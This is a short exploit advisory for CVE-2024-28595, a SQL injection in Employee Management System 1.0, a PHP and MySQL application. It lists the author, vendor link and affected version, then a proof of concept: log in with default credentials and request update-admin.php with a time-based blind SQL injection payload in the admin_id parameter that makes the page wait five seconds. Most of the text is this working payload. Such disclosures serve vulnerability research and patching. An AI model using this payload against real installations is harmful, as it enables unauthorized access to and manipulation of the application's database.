Employee Management System 1.0 SQL Injection

`# Exploit Title: SQL Injection vulnerability in Employee Management System.  
# Date: 20-03-2024  
# Exploit Author: Shubham Pandey  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link:  
https://www.sourcecodester.com/php/17217/employee-management-system-php-and-mysql-free-download.html  
# Version: 1.0  
# Tested on: Windows, Linux  
# CVE : CVE-2024-28595  
# Description: SQL Injection vulnerability in Employee Management System  
v1.0 allows attackers to run arbitrary SQL commands via the admin_id  
parameter in update-admin.php.  
# POC:  
1. Here we go to : http://127.0.0.1/taskmatic/index.php  
2. Now login with default Username and Password.  
3. Visit the URL:  
http://127.0.0.1/taskmatic/update-admin.php?admin_id=3'||(SELECT 0x697a7843  
WHERE 5649=5649 AND (SELECT 2097 FROM (SELECT(SLEEP(5)))JzJH))||'  
4. Page will load for 5 seconds because of time-based sql injection  
# Reference:  
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-28595.md  
`